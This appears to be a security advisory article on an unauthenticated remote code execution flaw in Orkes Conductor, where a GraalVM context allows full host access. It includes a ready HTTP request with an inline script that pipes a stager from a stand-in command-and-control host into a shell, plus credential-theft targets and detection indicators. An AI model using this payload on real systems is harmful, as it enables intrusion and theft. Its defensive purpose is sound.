Orkes Conductor Pre-Auth RCE Under Active Exploitation: The GraalVM HostAccess Flaw Blinding Enterprise Workflows
Author: DigitalSpying Security Desk
Date: September 19, 2026
Category: Zero-Day Vulnerabilities / Cloud & Web Application Security
Executive Summary
A critical unauthenticated Remote Code Execution (RCE) vulnerability in the open-source and enterprise workflow orchestration engine Orkes Conductor (and conductor-oss) is experiencing a sharp surge in active in-the-wild exploitation. Cataloged as CVE-2026-58138, the vulnerability carries a near-maximum severity rating of CVSS v3.1 9.8 (Critical) and CVSS v4 9.3. Affecting Conductor versions 3.21.21 through 3.30.1, the flaw allows remote, unauthenticated attackers to execute arbitrary operating system commands with the privileges of the underlying service container—frequently root—by transmitting a single crafted HTTP request to public-facing workflow endpoints.
As reported by The Hacker News and SecurityWeek, threat telemetry from FortiGuard Labs revealed that blocked attack attempts escalated by more than 132% within a 24-hour window, logging nearly 7,000 automated exploitation attempts across a seven-day stretch. Attack activity has been traced to infrastructure located across Germany, Hong Kong, Indonesia, the United Arab Emirates, India, France, and the United States. Furthermore, research teams at Empirical Security and honeypot sensors from Previdian confirmed active scanning and exploitation immediately following the public disclosure of proof-of-concept (PoC) exploits in August.
The root cause resides in an architectural misconfiguration within Conductor's dynamic expression evaluator: the engine utilizes GraalVM’s Polyglot context initialized with HostAccess.ALL (and allowAllAccess(true)). Because Conductor exposes its workflow scheduling endpoints without enforcing authentication by default, attackers can submit ad-hoc workflows containing malicious script tasks (INLINE, LAMBDA, DO_WHILE, or SWITCH). These scripts escape runtime sandbox boundaries and invoke Java reflection or direct OS subprocesses (java.lang.Runtime.getRuntime().exec()), granting attackers total control over the orchestration server and exposing adjacent cloud microservices. Organizations running Orkes Conductor must urgently upgrade to version 3.30.2 or later and apply immediate perimeter access restrictions.
Deep-Dive Technical Analysis
1. The Role of Orkes Conductor in Modern Cloud Architectures
Conductor was initially developed and open-sourced by Netflix before becoming the foundation for Orkes. It is designed as a distributed orchestration engine that coordinates microservices, API integrations, human-in-the-loop tasks, and complex asynchronous state machines across enterprise environments.
In a typical production deployment:
* Central Orchestrator: The Conductor server maintains state machines, executes workflow logic, and queues tasks for distributed worker nodes via Redis, Postgres, or Cassandra backends.
* Open API Ingress: By default, the Conductor server exposes REST API endpoints (such as POST /api/workflow) designed to permit client services to register, trigger, and inspect workflow executions.
* The Authentication Gap: Unlike strict enterprise control planes, standard Conductor open-source configurations historically leave the workflow execution API completely unauthenticated. Any client capable of reaching the HTTP port (typically 8080) can initiate arbitrary workflow definitions.
2. Root Cause Analysis: Unsandboxed GraalVM Polyglot Evaluation
To provide developers with workflow flexibility, Conductor supports dynamic decision logic and inline scripting tasks. When a workflow definition includes an INLINE task type, the Conductor engine evaluates expressions written in JavaScript, Python, or Groovy directly within the Java Virtual Machine (JVM) using the GraalVM Polyglot SDK.
GraalVM provides explicit security controls to govern how guest languages (such as JavaScript) interact with the host Java environment:
* HostAccess.EXPLICIT: The secure default, which strictly isolates the guest script and only permits access to public Java methods explicitly annotated with @HostAccess.Export.
* HostAccess.ALL: A permissive mode that removes all host-guest boundaries, exposing every public Java class, method, reflection primitive, and system utility to the guest script.
In affected versions (3.21.21 through 3.30.1), Conductor initialized its GraalVM evaluation context with unrestricted host privileges:a
// Vulnerable Context Initialization Pattern in Conductor Engine
org.graalvm.polyglot.Context context = org.graalvm.polyglot.Context.newBuilder("js")
.allowHostAccess(org.graalvm.polyglot.HostAccess.ALL)
.allowAllAccess(true)
.build();
Because `HostAccess.ALL` was enabled, untrusted guest code is treated as trusted JVM code. An attacker does not need to bypass memory protections or exploit low-level memory corruption; they can directly invoke standard Java library methods to execute system commands.
3. Exploitation Anatomy: From HTTP POST to Root Shell
Exploiting CVE-2026-58138 requires no credentials, active sessions, or pre-existing workflow definitions. An adversary sends a single HTTP POST request to `/api/workflow` carrying an inline workflow payload:
```http
POST /api/workflow HTTP/1.1
Host: conductor.target-enterprise.com:8080
Content-Type: application/json
{
"name": "ephemeral_recon_workflow",
"version": 1,
"tasks": [
{
"name": "payload_execution_task",
"taskReferenceName": "rce_task",
"type": "INLINE",
"inputParameters": {
"expression": "java.lang.Runtime.getRuntime().exec(['/bin/sh', '-c', 'curl -fsSL https://c2.attacker.net/stage2.sh | sh']).waitFor();",
"evaluatorType": "graaljs"
}
}
]
}
+----------------------------------------------------------------------------------------------------+
| CVE-2026-58138 INFECTION CHAIN |
|---|
[Remote Unauthenticated Attacker]
|
| 1. Dispatches HTTP POST to /api/workflow with malicious INLINE task definition
v
[Public-Facing Orkes Conductor API (Port 8080 / 443)]
|
| 2. Accepts request without authentication (Default open policy)
| 3. Passes task definition to internal workflow scheduler
v
[Conductor Task Evaluation Engine]
|
| 4. Invokes GraalVM Polyglot Context configured with HostAccess.ALL
v
[GraalVM JavaScript/Polyglot Runtime]
|
| 5. Evaluates java.lang.Runtime.getRuntime().exec()
| HostAccess.ALL permits unrestricted invocation of JVM reflection & OS calls
v
[Underlying Host Operating System / Container Shell]
|
| 6. Spawns /bin/sh child process -> Fetches secondary stager from C2
v
[Compromised Host / Pod (Root Privileges)]
|
+---> Dumps Cloud IAM credentials & Kubernetes service tokens
+---> Intercepts downstream microservice traffic & API keys
+---> Establishes persistent reverse shell / cryptominer
4. Blast Radius: Why Workflow Orchestrators Are High-Value Targets
A compromise of Orkes Conductor carries far broader implications than the compromise of an isolated web application:
1. Centralized Secret Concentration: Conductor stores and passes sensitive credentials (database passwords, external API tokens, cloud IAM keys, OAuth secrets) between coordinated microservices.
2. Internal Network Pivoting: Conductor instances are typically hosted within trusted VPC subnets with unfettered network connectivity to internal databases (PostgreSQL, Redis, Elasticsearch), messaging backplanes (Apache Kafka, AWS SQS), and proprietary microservice endpoints.
3. Container Privilege Oversights: In many containerized architectures, the Conductor JVM process runs as root inside its Docker container. Attackers who achieve code execution can inspect container mounts, query the cloud metadata service (169.254.169.254), steal Kubernetes service account tokens from /var/run/secrets/kubernetes.io/serviceaccount, and orchestrate cluster-wide privilege escalation.
Industry Impact & Threat Landscape
The emergence of automated exploit campaigns targeting CVE-2026-58138 highlights a persistent systemic weakness in cloud-native software: the default exposure of administrative and orchestration APIs.
According to research from Empirical Security and data released in Fortinet's Outbreak Alert, automated botnets are conducting internet-wide sweeps looking for open Conductor installations. Once compromised, vulnerable instances have been observed deploying:
* Monero Cryptominers (XMRig): Utilizing host CPU clusters to monetize enterprise cloud computing resources.
* Persistent Reverse Shells & C2 Beacons: Establishing backdoors through outbound encrypted websockets to maintain persistent footholds.
* Credential Harvesting Scripts: Scraping environment variables (AWS_SECRET_ACCESS_KEY, DATABASE_URL) to exfiltrate enterprise cloud credentials.
Recommendations & Mitigation Strategies
Organizations utilizing Orkes Conductor or open-source Conductor must take immediate corrective action across their deployment environments.
1. Immediate Patch Deployment
* Upgrade to Conductor 3.30.2 or Later: The Conductor engineering team addressed CVE-2026-58138 in version 3.30.2 by restructuring the GraalVM evaluator, replacing HostAccess.ALL with a strictly restricted sandbox profile (HostAccess.EXPLICIT) that prevents guest scripts from accessing arbitrary Java classes and system execution primitives.
2. Network Ingress Isolation & Access Control
* Block Internet Exposure: Conductor management and workflow execution APIs must never be reachable from the public internet. Ensure all Conductor instances are hosted within private VPC subnets accessible solely via VPN or an authenticated zero-trust reverse proxy (such as Cloudflare Access or Tailscale).
* Enable API Authentication: Enforce strict API authentication across all Conductor endpoints by setting orkes.conductor.auth.enabled=true in server configuration files and requiring cryptographically signed JWTs or API keys for all workflow submissions.
3. Container & Runtime Hardening
* Rootless Container Execution: Reconfigure container specifications to run the Conductor JVM under a dedicated, unprivileged non-root user (USER 10001).
* Drop Linux Capabilities: In Kubernetes pod specifications or Docker Compose configurations, drop all default Linux capabilities (capabilities: drop: ["ALL"]) and configure read-only root filesystems (readOnlyRootFilesystem: true).
* Restrict Cloud Metadata Access: Enforce IMDSv2 on AWS with a hop limit of 1 to block containerized workloads from querying instance metadata credentials.
4. Threat Hunting & Detection Indicators
* Inspect Web Access Logs: Review reverse proxy (Nginx, Envoy, Traefik) and API gateway logs for unauthenticated POST requests to /api/workflow containing parameters such as "evaluatorType": "graaljs" or references to Runtime.getRuntime and ProcessBuilder.
* EDR Process Lineage Monitoring: Configure Endpoint Detection and Response (EDR) rules to trigger immediate alerts whenever a Java process (java) spawns native command interpreters (/bin/sh, /bin/bash, cmd.exe, powershell.exe).